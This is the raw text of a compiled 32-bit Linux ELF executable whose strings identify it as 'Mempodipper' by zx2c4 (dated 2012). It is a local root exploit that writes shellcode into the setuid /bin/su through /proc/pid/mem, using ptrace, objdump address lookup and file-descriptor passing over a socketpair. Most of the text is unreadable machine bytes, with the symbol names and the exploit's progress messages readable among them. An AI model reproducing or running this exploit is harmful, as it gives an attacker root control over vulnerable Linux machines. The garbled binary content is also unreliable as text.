ELF@4!4 (444444||   t   HHHDDQtdRtd   /lib/ld-linux.so.2GNUGNUAv ؎`m     K4no ct.<Az5RHM)l__gmon_start__libc.so.6_IO_stdin_usedexitexeclsprintfwaitperrorputsfork__stack_chk_failsocketpairpopenfgetsgetppidmemsetstrstrreaddup2strtoulptracesendmsgpcloseatoilseek64memmovepipe2recvmsg__libc_start_mainGLIBC_2.4GLIBC_2.1GLIBC_2.0GLIBC_2.9iiiiiiii    $ ( , 048<@DHLPTX\`dhlptUS[(t^ X[5%%h%h%h% h%h %h(%h0%h8p% h@`%$hHP%(hP@%,hX0%0h` %4hh%8hp%<hx%@h%Dh%Hh%Lh%Ph%Th%Xh%\hp%`h`%dhP%hh@%lh0%ph %th1^PTRhhQVhUS=u?9s9r[]Ít&'Utt $ÐUheE1EEEED$D$E$EЉEEEEEEȃ vEE܋EE@E@E܍P D$E D$$.D$ED$E$E؋U؋E9tE$Ue3tUheE1EEED$D$E$EEẺEEEEED$ED$E$E܃}yM}u@Eă vEEԋEԃ D$D$E؉$E$E؋Ue3tUx$pD$E$]$E}E$t$$ED$UT$$~$q)D$ D$ED$$뢐D$ D$ED$$ $VED$ D$ED$$ E=wED$ D$ED$$EE%=%kE$D$ D$D$$Jy$<GE$ED$$D$ D$GD$X$[QUHeE1D$c$hEЃ}u$ĕ@@EЉD$D$ Eԉ$EЉ$ED$D$$Ue3thU($ЕtmE}ue$Z$$N/E}t}u9$\.L$T$$$AUT$$EU(eE1$ D$c$(Tu$ĕ$D$D$$m$D$N$)ȋUe3t U(eE1gD$T$$tT$$}D$$wy$ 1T$$.D$E$Ue3tCUeE1$AED$ D$D$$y$ؗnm$E$EUT$$i}y$*{8UT$$9D$$D$E$U)ȉEXUT$$ED$ D$T$E$ZE1۰È1E.̀E1ɳEƱ?È1EPhn/Eshh/E/biE1fE޺-iRE1ERPSE11E fE$xD$ ED$D$X$[SUT$D$E$$cD$UT$ D$D$$ĘgUe3tUE }~>E <-u/E '|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'[-] popen[+] Ptracing su to find next instruction without reading binary.[-] Ptrace failed.[+] Reading su binary with objdump to find exit@plt.[-] Could not resolve /bin/su. Specify the exit@plt function address manually.[-] Usage: %s -o ADDRESS [-] Example: %s -o 0x402178 [+] Resolved call address to 0x%lx. [+] Calculating su padding./bin/su this-user-does-not-exist 2>&1this-user-does-not-exist/proc/%d/mem[+] Opening parent mem %s in child. [-] open[+] Sending fd %d to parent. [+] Opening socketpair.[-] socketpair[+] Waiting for transferred fd in parent.[+] Received fd at %d. [-] recv_fd[+] Assigning fd %d to stderr. [+] Seeking to offset 0x%lx. [+] Executing su with shellcode.%d[+] Executing child from child fork.-c/proc/self/exe================================ Mempodipper == by zx2c4 == Jan 21, 2012 ================================  LoXxx  ( oЅoo ^n~·އ.>N^n~Έވ.GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment44#HH 1hh$HDoXX N xxVxx^o@koЅPz    ((0HH@@ LLhhxx    xx  0 # D&P- ,G4HhXxxЅ  (  H@Lhx  x (5pKZhЉtx    x 1BRb@i x hL%5EM_lnx{R|Z%6HTp֋wB,1 7Acrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.7021dtor_idx.7023frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxmempodipper.c_GLOBAL_OFFSET_TABLE___init_array_end__init_array_start_DYNAMICdata_startpipe2@@GLIBC_2.9sprintf@@GLIBC_2.0popen@@GLIBC_2.1open@@GLIBC_2.0__libc_csu_fini_start__gmon_start___Jv_RegisterClasses_fp_hwptrace@@GLIBC_2.0socketpair@@GLIBC_2.0_finisendmsg@@GLIBC_2.0fgets@@GLIBC_2.0memset@@GLIBC_2.0__libc_start_main@@GLIBC_2.0execl@@GLIBC_2.0wait@@GLIBC_2.0read@@GLIBC_2.0recv_fdperror@@GLIBC_2.0_IO_stdin_used__data_startsu_paddingdup2@@GLIBC_2.0strtoul@@GLIBC_2.0find_addressgetppid@@GLIBC_2.0__dso_handleobjdump_address__DTOR_END____libc_csu_initprintf@@GLIBC_2.0atoi@@GLIBC_2.0close@@GLIBC_2.0strstr@@GLIBC_2.0__bss_start__stack_chk_fail@@GLIBC_2.4memmove@@GLIBC_2.0send_fd_endputs@@GLIBC_2.0recvmsg@@GLIBC_2.0fork@@GLIBC_2.0ptrace_addressparent_edatalseek64@@GLIBC_2.1exit@@GLIBC_2.0pclose@@GLIBC_2.1__i686.get_pc_thunk.bxmain_initprog_namechild